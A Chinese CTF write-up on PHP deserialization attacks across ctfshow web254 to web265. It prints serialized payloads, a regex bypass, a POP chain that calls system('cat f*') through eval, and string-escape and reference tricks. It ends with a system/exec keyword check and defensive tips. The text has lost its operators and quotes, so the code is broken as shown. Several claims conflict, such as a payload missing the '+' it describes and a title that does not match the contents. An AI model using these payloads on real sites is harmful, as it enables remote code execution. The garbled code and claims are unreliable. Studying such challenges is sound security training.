PHP 反序列化漏洞实战:从 ctfshow web254 到 web258 的 5 种基础绕过手法
PHP 反序列化漏洞实战从 ctfshow web254 到 web258 的 5 种基础绕过手法1. 属性覆盖基础手法web254在 web254 题目中我们首次遇到一个典型的属性覆盖场景。通过分析ctfShowUser类的结构发现关键点在于isVip属性的控制class ctfShowUser { public $isVip false; public function vipOneKeyGetFlag() { if($this-isVip) { global $flag; echo your flag is .$flag; } } }攻击步骤本地构造特殊对象$exp new ctfShowUser(); $exp-isVip true; echo serialize($exp);得到序列化字符串O:11:ctfShowUser:1:{s:5:isVip;b:1;}通过 Cookie 提交Cookie: userO%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D注意当属性为 private/protected 时序列化格式会包含\x00前缀需要特殊处理 URL 编码2. 正则绕过技巧web258web258 引入了正则过滤机制关键代码如下if(!preg_match(/[oc]:\d:/i, $_COOKIE[user])) { $user unserialize($_COOKIE[user]); }绕过方案在对象长度前添加符号$payload str_replace(O:,O:, $serialized);最终 payloadO:11:ctfShowUser:1:{s:5:isVip;b:1;}URL 编码后提交O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D3. POP链构造web257web257 展示了典型的 POP (Property-Oriented Programming) 链利用通过分析三个关键类class ctfShowUser { private $class; public function __destruct() { $this-class-getInfo(); } } class info { public function getInfo() { return $this-user; } } class backDoor { public function getInfo() { eval($this-code); } }攻击链构建使$class指向 backDoor 实例设置恶意代码到$code完整 EXPclass ctfShowUser { private $class backDoor; public function __construct() { $this-class new backDoor(); } } class backDoor { private $code system(cat f*);; } echo urlencode(serialize(new ctfShowUser()));4. 字符串逃逸技术web262web262 展示了通过字符串替换制造序列化结构破坏$umsg str_replace(fuck, loveU, serialize($msg));逃逸步骤计算长度差loveU(5) -fuck(4) 1构造特殊 payload$msg-to 27个fuck;s:5:token;s:5:admin;};触发替换后原结构被破坏token 被修改5. 引用绕过web265web265 需要绕过随机数校验$ctfshow-tokenmd5(mt_rand()); if($ctfshow-token$ctfshow-password) { echo $flag; }引用利用使 password 成为 token 的引用构造序列化对象class ctfshowAdmin { public $token; public $password; public function __construct() { $this-password $this-token; } }序列化结果O:12:ctfshowAdmin:2:{s:5:token;i:1;s:8:password;R:2;}实战对比表题目核心手法关键函数绕过方式web254属性覆盖__construct直接修改序列化属性web255Cookie 控制unserialize($_COOKIE)构造完整对象web256多属性控制!弱类型设置不同属性值web257POP链__destruct方法调用链构造web258正则绕过preg_matchO:语法变异// 通用检测脚本示例 function check_payload($payload) { $danger [system, exec, shell_exec]; foreach($danger as $cmd) { if(strpos($payload, $cmd) ! false) { return false; } } return true; }防御建议对反序列化操作进行严格的白名单控制使用json_decode替代unserialize关键类实现__wakeup时进行完整性检查禁用危险魔术方法class SafeClass { public function __wakeup() { foreach(get_object_vars($this) as $k $v) { $this-$k null; } } }这些基础手法构成了 PHP 反序列化的核心攻击面后续更复杂的漏洞往往都是这些技术的组合运用。